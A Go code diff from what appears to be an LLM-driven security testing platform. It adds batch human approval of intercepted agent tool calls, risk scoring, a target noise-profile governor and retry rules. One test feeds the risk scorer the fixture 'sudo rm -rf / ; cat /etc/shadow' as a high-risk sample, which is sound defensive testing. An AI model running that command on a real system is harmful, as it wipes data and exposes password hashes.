if tr := s.httpToolTransport(ctx, key, spec); tr != nil {
base = tr
}
client.Transport = egress.Shared().Transport(key, base)
client.Transport = egress.Current().Transport(key, base)
resp, err := client.Do(req)
if err != nil {
return actool.Errorf("request failed: " + err.Error()), nil
+9 -2
View File
@@ -82,9 +82,16 @@ func applyTaskArchiveBlocker(dto *TaskDTO, blockers map[int64]int64) {
if err != nil {
return
}
if dependentID := blockers[taskID]; dependentID > 0 {
dto.ArchiveBlockedBy = strconv.FormatInt(dependentID, 10)
applyTaskArchiveBlockerID(dto, blockers[taskID])
}
// applyTaskArchiveBlockerID records dependentID as the task's archive blocker;
// 0 (nothing blocks it) leaves the DTO unchanged.
func applyTaskArchiveBlockerID(dto *TaskDTO, dependentID int64) {
if dto == nil || dependentID <= 0 {
return
}
dto.ArchiveBlockedBy = strconv.FormatInt(dependentID, 10)
}
// TokenTotalDTO is a whole-task (all agents) token aggregate.
+3 -1
View File
@@ -79,8 +79,10 @@ var errWorkControlConflict = errors.New("work control conflict")
// retryableWorkerModelError excludes errors already handled by the task router.
// In particular, a quota error after partial streaming advances the task cursor
// for the next LLM call but must not replay this whole intent on the backup.
// A NOA budget refusal is deterministic and never reached the provider, so a
// rerun would only fail the same way.
func retryableWorkerModelError(reason harness.TerminalReason, err error) bool {
return reason == harness.ReasonModelError && !isTaskLLMRuntimeError(err)
return reason == harness.ReasonModelError && !isTaskLLMRuntimeError(err) && !errors.Is(err, agent.ErrNoaBudget)
}
// Engine drives the event-driven exploration loop with real LLM agents
+1 -1
View File
@@ -88,7 +88,7 @@ func (s *Server) seedFindingWorkflowTools() {
// Upgrade only the original default binding. Customized lists and enabled
// flags survive; the one-time flag also preserves future user unbinding.
readers := `["worker","reporter"]`
for _, key := range []string{"traffic_search", "traffic_get", "traffic_blob"} {
for _, key := range []string{"traffic_search", "traffic_get", "traffic_blob", "traffic_messages"} {
if _, err := s.m.pg.Exec(`UPDATE tools SET agents=$2::jsonb WHERE key=$1 AND system AND (agents='["worker"]'::jsonb OR (agents @> '["worker","planner","mainagent","auto","pentest"]'::jsonb AND jsonb_array_length(agents)=5))`, key, readers); err != nil {
return
}
+9 -9
View File
@@ -7,19 +7,19 @@ import (
func TestGoalGateCheck(t *testing.T) {
good := map[string]string{
"url target": "Audit " + strings.Repeat("x ", 60) + " at https://example.com/app every module for injection issues and record one finding per issue with evidence.",
"bare domain": strings.Repeat("probe ", 25) + "the api at target.example.org for unauthenticated data exposure, one record proof, then stop.",
"ipv4": strings.Repeat("recon ", 25) + "10.0.0.5 and map every listening service before any test.",
"localhost port": strings.Repeat("verify ", 25) + "localhost:3000 health endpoints respond identically before and after config reload.",
"path": strings.Repeat("review ", 25) + "the module at /app/data/core for hardcoded secrets and report each hit.",
"targetless opt-out": "[targetless] " + strings.Repeat("summarize ", 20) + "the attached material into a prioritized hypothesis list.",
"url target": "Audit " + strings.Repeat("x ", 60) + " at https://example.com/app every module for injection issues and record one finding per issue with evidence.",
"bare domain": strings.Repeat("probe ", 25) + "the api at target.example.org for unauthenticated data exposure, one record proof, then stop.",
"ipv4": strings.Repeat("recon ", 25) + "10.0.0.5 and map every listening service before any test.",
"localhost port": strings.Repeat("verify ", 25) + "localhost:3000 health endpoints respond identically before and after config reload.",
"path": strings.Repeat("review ", 25) + "the module at /app/data/core for hardcoded secrets and report each hit.",
"targetless opt-out": "[targetless] " + strings.Repeat("summarize ", 20) + "the attached material into a prioritized hypothesis list.",
}
good["targetless short but marked"] = "[targetless] analyze nothing"
bad := map[string]string{
"no target long": strings.Repeat("do a thorough security review of everything and report anything interesting that comes up during the exploration phase of this audit, thanks. ", 2),
"too short": "audit the site",
"short and bare": "find bugs",
"no target long": strings.Repeat("do a thorough security review of everything and report anything interesting that comes up during the exploration phase of this audit, thanks. ", 2),
"too short": "audit the site",
"short and bare": "find bugs",
}
for name, g := range good {
if name == "targetless short+:url" {
+74 -4
View File
@@ -231,6 +231,17 @@ func (s *Server) interceptToggleRule(w http.ResponseWriter, r *http.Request) {
// --- pending (ask) ---
// interceptPendingDTO is a pending row plus its risk score. The embedded row
// keeps every existing JSON field; the score is computed on read, never stored.
type interceptPendingDTO struct {
db.InterceptPending
Risk intercept.RiskReport `json:"risk"`
}
func pendingDTO(p db.InterceptPending) interceptPendingDTO {
return interceptPendingDTO{InterceptPending: p, Risk: intercept.ScoreRisk(p.ToolName, p.ToolInput)}
}
func (s *Server) interceptListPending(w http.ResponseWriter, r *http.Request) {
pg := s.pg(w)
if pg == nil {
@@ -241,10 +252,11 @@ func (s *Server) interceptListPending(w http.ResponseWriter, r *http.Request) {
writeErr(w, 500, err.Error())
return
}
if pending == nil {
pending = []db.InterceptPending{}
out := make([]interceptPendingDTO, 0, len(pending))
for _, p := range pending {
out = append(out, pendingDTO(p))
}
writeJSON(w, 200, map[string]any{"pending": pending})
writeJSON(w, 200, map[string]any{"pending": out})
}
func (s *Server) interceptGetOne(w http.ResponseWriter, r *http.Request) {
@@ -266,7 +278,7 @@ func (s *Server) interceptGetOne(w http.ResponseWriter, r *http.Request) {
writeErr(w, 404, "not found")
return
}
writeJSON(w, 200, p)
writeJSON(w, 200, pendingDTO(*p))
}
func (s *Server) interceptListTaskItems(w http.ResponseWriter, r *http.Request) {
@@ -414,6 +426,64 @@ func (s *Server) interceptDecide(w http.ResponseWriter, r *http.Request) {
writeJSON(w, 200, map[string]any{"ok": true})
}
// maxBatchDecide bounds one batch decision request.
const maxBatchDecide = 100
type batchDecideResult struct {
ID int64 `json:"id"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
}
// interceptBatchDecide applies one human decision to several pending requests.
// Each id goes through the same Interceptor.Decide as the single decide route,
// with the same approver and address: target pins, the decided_by=human audit
// and the waiter wake-up are identical. One id failing (already decided, empty
// target pin) is reported for that id and does not stop the others.
func (s *Server) interceptBatchDecide(w http.ResponseWriter, r *http.Request) {
var req struct {
IDs []int64 `json:"ids"`
Decision string `json:"decision"` // "allowed" | "denied"
}
if err := decode(r, &req); err != nil {
writeErr(w, 400, err.Error())
return
}
if req.Decision != "allowed" && req.Decision != "denied" {
writeErr(w, 400, "decision must be allowed or denied")
return
}
if len(req.IDs) == 0 || len(req.IDs) > maxBatchDecide {
writeErr(w, 400, fmt.Sprintf("ids must list between 1 and %d pending ids", maxBatchDecide))
return
}
seen := make(map[int64]bool, len(req.IDs))
ids := make([]int64, 0, len(req.IDs))
for _, id := range req.IDs {
if id <= 0 {
writeErr(w, 400, fmt.Sprintf("bad pending id %d", id))
return
}
if !seen[id] {
seen[id] = true
ids = append(ids, id)
}
}
approver, addr := s.approver(r), clientIP(r, s.trustedProxies)
results := make([]batchDecideResult, 0, len(ids))
decided := 0
for _, id := range ids {
res := batchDecideResult{ID: id, OK: true}
if err := s.m.interceptor.Decide(id, req.Decision == "allowed", approver, addr); err != nil {
res.OK, res.Error = false, err.Error()
} else {
decided++
}
results = append(results, res)
}
writeJSON(w, 200, map[string]any{"decided": decided, "failed": len(ids) - decided, "results": results})
}
// alwaysAllowPriority places "always allow" rules below every default and
// manual rule, so any deny or ask rule that matches the same call wins.
const alwaysAllowPriority = -1000
+175
View File
@@ -0,0 +1,175 @@
package server
import (
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"strconv"
"strings"
"testing"
"time"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/artex/intercept"
)
func TestInterceptBatchDecideHTTP(t *testing.T) {
dsn, _, err := db.DSN()
if err != nil {
t.Skip("no test database configured")
}
d, err := db.Open(dsn)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = d.Close() })
m := &Manager{pg: d, interceptor: intercept.New(d)}
s := &Server{m: m, jwtKey: []byte("approval-batch-decide-test-key")}
h := s.Handler()
token, err := signJWT(s.jwtKey)
if err != nil {
t.Fatal(err)
}
scope := "approval-http-batch-decide"
// A target request needs a numeric task scope; no foreign key ties it to tasks.
targetTask := 900000000 + time.Now().UnixNano()%1000000
t.Cleanup(func() {
_, _ = d.Exec(`DELETE FROM intercept_pending WHERE task_id=$1 OR task_id=$2`, scope, strconv.FormatInt(targetTask, 10))
})
do := func(method, path, body string) *httptest.ResponseRecorder {
req := httptest.NewRequest(method, path, strings.NewReader(body))
req.Header.Set("Authorization", "Bearer "+token)
rec := httptest.NewRecorder()
h.ServeHTTP(rec, req)
return rec
}
pending := func(cmd string) int64 {
t.Helper()
input, _ := json.Marshal(map[string]string{"command": cmd})
id, err := d.CreateInterceptPending(0, 0, scope, "test", "Bash", input, "fixture")
if err != nil {
t.Fatal(err)
}
return id
}
id1, id2, id3 := pending("ls"), pending("nmap -sV target.example"), pending("sudo rm -rf / ; cat /etc/shadow")
// The pending JSON keeps every historical field and adds risk.
var historical map[string]any
raw, _ := json.Marshal(db.InterceptPending{})
_ = json.Unmarshal(raw, &historical)
checkFields := func(where string, item map[string]any) {
t.Helper()
for key := range historical {
if _, ok := item[key]; !ok {
t.Errorf("%s: field %q missing from %v", where, key, item)
}
}
risk, ok := item["risk"].(map[string]any)
if !ok || risk["level"] == nil || risk["score"] == nil || risk["reasons"] == nil {
t.Errorf("%s: risk = %v", where, item["risk"])
}
}
var list struct {
Pending []map[string]any `json:"pending"`
}
if r := do(http.MethodGet, "/api/intercept/pending", ""); r.Code != 200 || json.Unmarshal(r.Body.Bytes(), &list) != nil {
t.Fatalf("list pending: %d %s", r.Code, r.Body.String())
}
levels := map[int64]string{}
for _, item := range list.Pending {
id := int64(item["id"].(float64))
if id == id1 || id == id2 || id == id3 {
checkFields("list", item)
levels[id] = item["risk"].(map[string]any)["level"].(string)
}
}
if levels[id1] != "low" || levels[id2] != "medium" || levels[id3] != "high" {
t.Fatalf("risk levels = %v, want low/medium/high", levels)
}
var one map[string]any
if r := do(http.MethodGet, fmt.Sprintf("/api/intercept/pending/%d", id3), ""); r.Code != 200 || json.Unmarshal(r.Body.Bytes(), &one) != nil {
t.Fatalf("get pending: %d %s", r.Code, r.Body.String())
}
checkFields("get", one)
type result struct {
ID int64 `json:"id"`
OK bool `json:"ok"`
Error string `json:"error"`
}
type batchResponse struct {
Decided int `json:"decided"`
Failed int `json:"failed"`
Results []result `json:"results"`
}
batch := func(body string) batchResponse {
t.Helper()
r := do(http.MethodPost, "/api/intercept/pending/batch-decide", body)
var out batchResponse
if r.Code != 200 || json.Unmarshal(r.Body.Bytes(), &out) != nil {
t.Fatalf("batch %s: %d %s", body, r.Code, r.Body.String())
}
return out
}
// Duplicates are decided once.
out := batch(fmt.Sprintf(`{"ids":[%d,%d,%d],"decision":"allowed"}`, id1, id2, id1))
if out.Decided != 2 || out.Failed != 0 || len(out.Results) != 2 || out.Results[0] != (result{ID: id1, OK: true}) || out.Results[1] != (result{ID: id2, OK: true}) {
t.Fatalf("allow batch = %+v", out)
}
// An already decided id fails alone; the rest of the batch is decided.
out = batch(fmt.Sprintf(`{"ids":[%d,%d],"decision":"denied"}`, id1, id3))
if out.Decided != 1 || out.Failed != 1 || len(out.Results) != 2 ||
out.Results[0].ID != id1 || out.Results[0].OK || !strings.Contains(out.Results[0].Error, "already") ||
out.Results[1] != (result{ID: id3, OK: true}) {
t.Fatalf("deny batch = %+v", out)
}
for id, want := range map[int64]string{id1: "allowed", id2: "allowed", id3: "denied"} {
p, err := d.GetInterceptPending(id)
if err != nil || p == nil || p.Status != want || p.DecidedBy != "human" || p.DecidedAt == nil {
t.Fatalf("row %d = %+v err=%v, want %s by human with decided_at", id, p, err, want)
}
}
// A target request without an address cannot be approved: it fails and
// stays pending, the other id in the batch is still approved.
empty, created, err := d.FindOrCreateTargetRequest(db.TargetRequest{
Scope: db.TargetScopeRef{TaskID: targetTask}, Host: "empty.example.com", Port: 443,
ToolName: "WebFetch", ToolInput: []byte(`{"url":"https://empty.example.com/"}`), Reason: "test",
Audit: &db.InterceptAudit{Targets: []db.InterceptTarget{{Host: "empty.example.com", Port: 443, Outcome: "requested"}}},
})
if err != nil || !created {
t.Fatalf("open target request: id=%d created=%v err=%v", empty, created, err)
}
id4 := pending("echo ok")
out = batch(fmt.Sprintf(`{"ids":[%d,%d],"decision":"allowed"}`, empty, id4))
if out.Decided != 1 || out.Failed != 1 || out.Results[0].OK || out.Results[0].Error != db.ErrTargetPinEmpty.Error() ||
out.Results[1] != (result{ID: id4, OK: true}) {
t.Fatalf("empty pin batch = %+v", out)
}
if p, err := d.GetInterceptPending(empty); err != nil || p == nil || p.Status != "pending" {
t.Fatalf("refused target request = %+v err=%v, want pending", p, err)
}
ids101 := make([]string, 101)
for i := range ids101 {
ids101[i] = strconv.Itoa(i + 1)
}
for _, body := range []string{
`{"ids":[],"decision":"allowed"}`,
`{"decision":"allowed"}`,
`{"ids":[` + strings.Join(ids101, ",") + `],"decision":"allowed"}`,
`{"ids":[0],"decision":"allowed"}`,
`{"ids":[-3],"decision":"denied"}`,
`{"ids":["7"],"decision":"allowed"}`,
`{"ids":[1.5],"decision":"allowed"}`,
fmt.Sprintf(`{"ids":[%d],"decision":"maybe"}`, id4),
`not json`,
} {
if r := do(http.MethodPost, "/api/intercept/pending/batch-decide", body); r.Code != 400 {
t.Errorf("batch %s: status %d, want 400", body, r.Code)
}
}
}
+12 -7
View File
@@ -19,6 +19,7 @@ import (
"github.com/Autumn-27/artex/agent"
"github.com/Autumn-27/artex/config"
pgdb "github.com/Autumn-27/artex/db"
"github.com/Autumn-27/artex/egress"
"github.com/Autumn-27/artex/enrich"
"github.com/Autumn-27/artex/guard"
"github.com/Autumn-27/artex/intercept"
@@ -54,13 +55,13 @@ type Task struct {
LLMChainRevision int64 `json:"-"`
LLMFailoverState string `json:"llm_failover_state,omitempty"`
// LLMRotate (#85): per-intent round-robin over the task's LLM chain heads.
LLMRotate bool `json:"llm_rotate,omitempty"`
rotateMu sync.Mutex
rotateNext int
LLMFailoverReason string `json:"llm_failover_reason,omitempty"`
SourceTaskIDs []int64 `json:"source_task_ids,omitempty"`
CompanyIDs []int64 `json:"company_ids,omitempty"`
Status string `json:"status"` // persisted lifecycle status (done/failed/timeout are terminal; empty/other is derived from runtime state)
LLMRotate bool `json:"llm_rotate,omitempty"`
rotateMu sync.Mutex
rotateNext int
LLMFailoverReason string `json:"llm_failover_reason,omitempty"`
SourceTaskIDs []int64 `json:"source_task_ids,omitempty"`
CompanyIDs []int64 `json:"company_ids,omitempty"`
Status string `json:"status"` // persisted lifecycle status (done/failed/timeout are terminal; empty/other is derived from runtime state)
// Task-level timeout (see docs/task-timeout-and-settle-design.md). DeadlineAt/FirstRunAt are unix seconds, 0 = unset/not yet run.
TimeoutSeconds int `json:"timeout_seconds"`
PlanHeartbeatSeconds int `json:"plan_heartbeat_seconds"` // planner heartbeat trigger interval (seconds)
@@ -304,6 +305,9 @@ const (
// when on, the four agent kinds wired into the platform (planner/worker/main
// agent/chat) have context compaction taken over by noa, replacing the built-in compaction. Read once per run; toggling affects only runs started afterwards.
settingNoaCompaction = "noa_compaction"
// Target noise profile (off|quiet|balanced|aggressive). When stored it wins over
// ARTEX_NOISE_PROFILE, which stays the fallback; applied at startup and on PUT.
settingNoiseProfile = "noise_profile"
// defaultWebSearchBackend is used when web search is on but no backend was picked.
defaultWebSearchBackend = "ddgs"
// deepSeekWebSearchBackend borrows the active LLM profile instead of its own
@@ -401,6 +405,7 @@ func NewManager(dir, proxyAddr string) (*Manager, error) {
pg.Close()
return nil, fmt.Errorf("recover finding retests: %w", err)
}
egress.SetProfile(startupNoiseProfile(pg))
if err := pg.EnsureLLMRecordsTable(); err != nil {
log.Printf("[llmrec] create table: %v", err)
}
+32
View File
@@ -0,0 +1,32 @@
package server
import (
"errors"
"fmt"
"testing"
"github.com/Autumn-27/artex/agent"
"github.com/Autumn-27/norma/harness"
)
// A NOA budget refusal is deterministic: the engine must not rerun the intent,
// whether the sentinel arrives bare or wrapped.
func TestWorkerModelErrorRetrySkipsNoaBudget(t *testing.T) {
for _, tc := range []struct {
name string
err error
want bool
}{
{"noa budget", agent.ErrNoaBudget, false},
{"noa budget wrapped", fmt.Errorf("%w: estimate 64000 exceeds configured budget 32000", agent.ErrNoaBudget), false},
{"noa budget wrapped twice", fmt.Errorf("worker: %w", fmt.Errorf("%w: estimate", agent.ErrNoaBudget)), false},
{"generic model error", errors.New("connection reset by peer"), true},
{"task router error", &taskLLMError{taskID: "7", cause: errors.New("insufficient_quota")}, false},
} {
t.Run(tc.name, func(t *testing.T) {
if got := retryableWorkerModelError(harness.ReasonModelError, tc.err); got != tc.want {
t.Fatalf("retryableWorkerModelError(model_error, %v) = %v, want %v", tc.err, got, tc.want)
}
})
}
}
+32
View File
@@ -0,0 +1,32 @@
package server
import (
"log"
"net/http"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/artex/egress"
)
// startupNoiseProfile is the noise profile to apply at startup: the stored
// noise_profile setting when there is a valid one, else ARTEX_NOISE_PROFILE.
func startupNoiseProfile(pg *db.DB) egress.Profile {
v, ok, err := pg.GetSetting(settingNoiseProfile)
if err != nil {
log.Printf("[egress] read %s setting: %v; using ARTEX_NOISE_PROFILE", settingNoiseProfile, err)
}
if ok {
if p, valid := egress.ProfileByName(v); valid {
return p
}
log.Printf("[egress] stored %s=%q is not off, quiet, balanced or aggressive; using ARTEX_NOISE_PROFILE", settingNoiseProfile, v)
}
return egress.ProfileFromEnv()
}
// noiseStatus returns the current noise profile and the per-host counters of
// its governor, read without starting a new minute.
func (s *Server) noiseStatus(w http.ResponseWriter, r *http.Request) {
g := egress.Current()
writeJSON(w, 200, map[string]any{"profile": g.Profile().Name, "hosts": g.Snapshot()})
}
+125
View File
@@ -0,0 +1,125 @@
package server
import (
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"strings"
"testing"
"github.com/Autumn-27/artex/egress"
)
func TestNoiseProfileSettingHTTP(t *testing.T) {
skipWithoutDSN(t)
prev := egress.CurrentProfile()
t.Cleanup(func() { egress.SetProfile(prev) })
t.Setenv("ARTEX_NOISE_PROFILE", "quiet")
t.Setenv("ARTEX_TARGET_USER_AGENT", "artex-noise-test/1")
m, err := NewManager(t.TempDir(), "")
if err != nil {
t.Fatal(err)
}
defer m.Close()
clear := func() {
if _, err := m.pg.Exec(`DELETE FROM settings WHERE key=$1`, settingNoiseProfile); err != nil {
t.Error(err)
}
}
clear()
defer clear() // before m.Close
// Precedence: no setting -> env; a valid setting wins; an invalid one falls back to env.
if p := startupNoiseProfile(m.pg); p.Name != "quiet" {
t.Fatalf("no setting: %q, want env quiet", p.Name)
}
if err := m.pg.SetSetting(settingNoiseProfile, "balanced"); err != nil {
t.Fatal(err)
}
m2, err := NewManager(t.TempDir(), "")
if err != nil {
t.Fatal(err)
}
m2.Close()
if p := egress.CurrentProfile(); p.Name != "balanced" || p.UserAgent != "artex-noise-test/1" {
t.Fatalf("NewManager with setting balanced applied %+v", p)
}
if err := m.pg.SetSetting(settingNoiseProfile, "loud"); err != nil {
t.Fatal(err)
}
if p := startupNoiseProfile(m.pg); p.Name != "quiet" {
t.Fatalf("invalid setting: %q, want env quiet", p.Name)
}
if err := m.pg.SetSetting(settingNoiseProfile, "balanced"); err != nil {
t.Fatal(err)
}
ctx, cancel := context.WithCancel(context.Background())
s := New(ctx, m, t.TempDir(), t.TempDir(), t.TempDir())
defer stopTestServer(t, s, cancel)
token, err := signJWT(s.jwtKey)
if err != nil {
t.Fatal(err)
}
do := func(method, path, body string) (int, map[string]any) {
t.Helper()
req := httptest.NewRequest(method, path, strings.NewReader(body))
req.Header.Set("Authorization", "Bearer "+token)
rec := httptest.NewRecorder()
s.Handler().ServeHTTP(rec, req)
var out map[string]any
_ = json.Unmarshal(rec.Body.Bytes(), &out)
return rec.Code, out
}
egress.SetProfile(egress.Profiles["balanced"])
if code, out := do(http.MethodGet, "/api/settings", ""); code != 200 || out["noise_profile"] != "balanced" {
t.Fatalf("GET settings: %d noise_profile=%v", code, out["noise_profile"])
}
if code, out := do(http.MethodPut, "/api/settings", `{"noise_profile":"Aggressive"}`); code != 200 || out["noise_profile"] != "aggressive" {
t.Fatalf("PUT aggressive: %d noise_profile=%v", code, out["noise_profile"])
}
if v, _, _ := m.pg.GetSetting(settingNoiseProfile); v != "aggressive" || egress.CurrentProfile().Name != "aggressive" {
t.Fatalf("after PUT: stored %q, current %q", v, egress.CurrentProfile().Name)
}
for _, bad := range []string{`{"noise_profile":"loud"}`, `{"noise_profile":""}`, `{"noise_profile":1}`} {
if code, _ := do(http.MethodPut, "/api/settings", bad); code != 400 {
t.Errorf("PUT %s: %d, want 400", bad, code)
}
}
if code, out := do(http.MethodPut, "/api/settings", `{"noise_profile":null}`); code != 200 || out["noise_profile"] != "aggressive" {
t.Fatalf("PUT null: %d noise_profile=%v, want unchanged", code, out["noise_profile"])
}
if v, _, _ := m.pg.GetSetting(settingNoiseProfile); v != "aggressive" || egress.CurrentProfile().Name != "aggressive" {
t.Fatalf("after invalid and null PUTs: stored %q, current %q", v, egress.CurrentProfile().Name)
}
// The noise endpoint reads the current governor's counters.
target := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {}))
defer target.Close()
req, _ := http.NewRequest(http.MethodGet, target.URL, nil)
resp, err := egress.Current().Transport("noise-test", nil).RoundTrip(req)
if err != nil {
t.Fatal(err)
}
resp.Body.Close()
code, out := do(http.MethodGet, "/api/settings/noise", "")
hosts, _ := out["hosts"].([]any)
if code != 200 || out["profile"] != "aggressive" || len(hosts) != 1 {
t.Fatalf("GET noise: %d %v", code, out)
}
host, _ := hosts[0].(map[string]any)
for _, key := range []string{"host", "rpm", "peak_rpm", "peak_inflight", "inflight", "duplicates_avoided"} {
if _, ok := host[key]; !ok {
t.Errorf("noise host misses %q: %v", key, host)
}
}
if host["host"] != strings.TrimPrefix(target.URL, "http://") || host["rpm"] != float64(1) || host["inflight"] != float64(0) {
t.Fatalf("noise host = %v", host)
}
// A second read does not reset the minute.
if _, again := do(http.MethodGet, "/api/settings/noise", ""); again["hosts"].([]any)[0].(map[string]any)["rpm"] != float64(1) {
t.Fatalf("second GET noise reset the counter: %v", again)
}
}
+64 -10
View File
@@ -22,6 +22,7 @@ import (
"github.com/Autumn-27/artex/agent"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/artex/egress"
"github.com/Autumn-27/artex/intercept"
"github.com/Autumn-27/artex/llmpool"
"github.com/Autumn-27/artex/llmrec"
@@ -822,6 +823,7 @@ func (s *Server) Handler() http.Handler {
mux.HandleFunc("DELETE /api/traffic/hosts", s.deleteTrafficHosts)
mux.HandleFunc("DELETE /api/traffic/all", s.deleteAllTraffic)
mux.HandleFunc("GET /api/traffic/exchange", s.getTrafficExchange)
mux.HandleFunc("GET /api/traffic/stream", s.getTrafficStream)
mux.HandleFunc("GET /api/traffic/blob", s.getTrafficBlob)
mux.HandleFunc("POST /api/traffic/ingest", s.ingestTraffic)
mux.HandleFunc("GET /api/commands", s.pgListCommands)
@@ -833,6 +835,7 @@ func (s *Server) Handler() http.Handler {
mux.HandleFunc("GET /api/llm/records/{id}", s.pgGetLLMRecord)
mux.HandleFunc("GET /api/settings", s.getSettings)
mux.HandleFunc("PUT /api/settings", s.putSettings)
mux.HandleFunc("GET /api/settings/noise", s.noiseStatus) // current noise profile + per-host counters (no reset)
// Vulnerability IM push. Channels are "multi-instance + per-instance filter rules" resources, so they get their own group of
// REST endpoints instead of being stuffed into the flat /api/settings key-value store.
mux.HandleFunc("GET /api/notify/meta", s.notifyMeta)
@@ -958,6 +961,7 @@ func (s *Server) Handler() http.Handler {
mux.HandleFunc("GET /api/intercept/pending", s.interceptListPending)
mux.HandleFunc("GET /api/intercept/pending/{id}", s.interceptGetOne)
mux.HandleFunc("POST /api/intercept/pending/{id}/decide", s.interceptDecide)
mux.HandleFunc("POST /api/intercept/pending/batch-decide", s.interceptBatchDecide)
mux.HandleFunc("POST /api/intercept/pending/{id}/always-allow", s.interceptAlwaysAllow) // creates an argv allow rule; the request stays pending
mux.HandleFunc("GET /api/intercept/history", s.interceptHistory)
mux.HandleFunc("GET /api/intercept/history/{id}", s.interceptDetail)
@@ -1606,12 +1610,12 @@ type createTaskReq struct {
CategoryID *int64 `json:"category_id,omitempty"`
Description string `json:"description"`
Goal string `json:"goal"`
LLMProfileID *int64 `json:"llm_profile_id,omitempty"` // the LLM profile to run this task on; omitted/null = use the active profile
LLMProfileIDs []int64 `json:"llm_profile_ids,omitempty"` // ordered task-level profile chain; the first entry takes effect initially
SourceTaskIDs []string `json:"source_task_ids,omitempty"` // direct, read-only inherited source tasks
CompanyIDs []int64 `json:"company_ids,omitempty"` // links the company scope and snapshots its current assets; does not copy assets or force intent generation
LLMProfileID *int64 `json:"llm_profile_id,omitempty"` // the LLM profile to run this task on; omitted/null = use the active profile
LLMProfileIDs []int64 `json:"llm_profile_ids,omitempty"` // ordered task-level profile chain; the first entry takes effect initially
SourceTaskIDs []string `json:"source_task_ids,omitempty"` // direct, read-only inherited source tasks
CompanyIDs []int64 `json:"company_ids,omitempty"` // links the company scope and snapshots its current assets; does not copy assets or force intent generation
TimeoutSeconds int `json:"timeout_seconds"`
LLMRotate *bool `json:"llm_rotate"` // task-level timeout (seconds); 0/omitted = no limit
LLMRotate *bool `json:"llm_rotate"` // task-level timeout (seconds); 0/omitted = no limit
PlanHeartbeatSeconds int `json:"plan_heartbeat_seconds"` // planner heartbeat interval (seconds); 0/omitted = default 600 (10min); floor = default = 600, lower values are raised to 600
PlanQuietMode *bool `json:"plan_quiet_mode,omitempty"` // planner quiet-mode switch (#86); omitted = default on; false = edge rounds always plan
TargetGate *bool `json:"target_gate,omitempty"` // approval gate for asset targets, opt-in; omitted/null = off
@@ -1924,13 +1928,15 @@ func (s *Server) getTask(w http.ResponseWriter, r *http.Request) {
return
}
dto := taskDTO(t, s.resolvedTaskStatus(t))
metrics, err := s.m.PG().TaskListMetricsAll()
metrics, err := s.m.PG().TaskListMetrics(t.ExpID)
if err != nil {
log.Printf("[tasks] detail metrics query failed for %s — metrics zeroed: %v", t.ID, err)
}
s.applyTaskMetrics(&dto, t, metrics[t.ExpID])
archiveBlockers, _ := s.m.PG().TaskArchiveBlockers()
applyTaskArchiveBlocker(&dto, archiveBlockers)
s.applyTaskMetrics(&dto, t, metrics)
// Best effort: only this task's blocker, not the whole relation table.
taskID, _ := strconv.ParseInt(t.ID, 10, 64)
blocker, _ := s.m.PG().TaskArchiveBlocker(taskID)
applyTaskArchiveBlockerID(&dto, blocker)
writeJSON(w, 200, dto)
}
@@ -3446,7 +3452,37 @@ func (s *Server) getTrafficExchange(w http.ResponseWriter, r *http.Request) {
writeErr(w, 404, err.Error())
return
}
writeJSON(w, 200, map[string]any{"req": req, "resp": resp})
// A WebSocket or SSE exchange carries its messages separately
// (GET /api/traffic/stream); stream_kind is "" for an ordinary exchange.
count, kind, err := tr.StreamInfo(id)
if err != nil {
log.Printf("[traffic] stream info for %s: %v", id, err)
}
writeJSON(w, 200, map[string]any{"req": req, "resp": resp, "stream_count": count, "stream_kind": kind})
}
// getTrafficStream returns one page of a WebSocket/SSE exchange's messages in
// order (limit 1..200, default 50).
func (s *Server) getTrafficStream(w http.ResponseWriter, r *http.Request) {
tr := s.m.Traffic()
if tr == nil {
writeErr(w, 404, "traffic disabled")
return
}
q := r.URL.Query()
id := strings.TrimSpace(q.Get("exchange"))
if id == "" {
writeErr(w, 400, "missing exchange")
return
}
offset, _ := strconv.Atoi(q.Get("offset"))
limit, _ := strconv.Atoi(q.Get("limit"))
msgs, total, err := tr.StreamMessages(id, offset, limit)
if err != nil {
writeErr(w, 500, err.Error())
return
}
writeJSON(w, 200, map[string]any{"items": msgs, "total": total})
}
// getTrafficBlob streams one oversized body by its sha256. Bodies past the inline
@@ -3527,6 +3563,8 @@ func (s *Server) settingsPayload() map[string]any {
// Render limits of IM messages; 0 = no truncation.
"notify_summary_max_runes": limits.SummaryRunes,
"notify_assets_max_shown": limits.AssetsShown,
// Effective target noise profile (off by default): the stored setting, else ARTEX_NOISE_PROFILE.
"noise_profile": egress.CurrentProfile().Name,
}
}
@@ -3602,11 +3640,27 @@ func (s *Server) putSettings(w http.ResponseWriter, r *http.Request) {
// Render limits of IM messages: summary characters (0-4000) and asset names listed (0-50); 0 = no truncation.
NotifySummaryMaxRunes *int `json:"notify_summary_max_runes"`
NotifyAssetsMaxShown *int `json:"notify_assets_max_shown"`
// Target noise profile: off|quiet|balanced|aggressive; null = unchanged. Applies to the next request, no agent rebuild.
NoiseProfile *string `json:"noise_profile"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeErr(w, 400, err.Error())
return
}
// Validated before any other field is written, so a bad value changes nothing.
var noise egress.Profile
if req.NoiseProfile != nil {
var ok bool
if noise, ok = egress.ProfileByName(*req.NoiseProfile); !ok {
writeErr(w, 400, "noise_profile must be off, quiet, balanced or aggressive")
return
}
if err := s.m.pg.SetSetting(settingNoiseProfile, noise.Name); err != nil {
writeErr(w, 500, err.Error())
return
}
egress.SetProfile(noise)
}
// A masked placeholder echoed back keeps the stored secret, like null.
req.BraveKey, req.TavilyKey = keepIfMasked(req.BraveKey), keepIfMasked(req.TavilyKey)
req.WebSearchProxy, req.GlobalProxy = keepIfMasked(req.WebSearchProxy), keepIfMasked(req.GlobalProxy)
+47 -10
View File
@@ -38,6 +38,21 @@ VALUES ($1,'goal','{}','met'), ($1,'goal','{}','open')`, task.ExpID); err != nil
t.Fatal(err)
}
// A second task, so the detail must pick its own row and the list must keep
// serving every task.
other, err := m.CreateTask("detail metrics other", "goal", nil, 0, 0)
if err != nil {
t.Fatal(err)
}
otherID, _ := strconv.ParseInt(other.ID, 10, 64)
defer func() { _, _ = m.pg.DeleteTaskCascade(otherID, false, true) }()
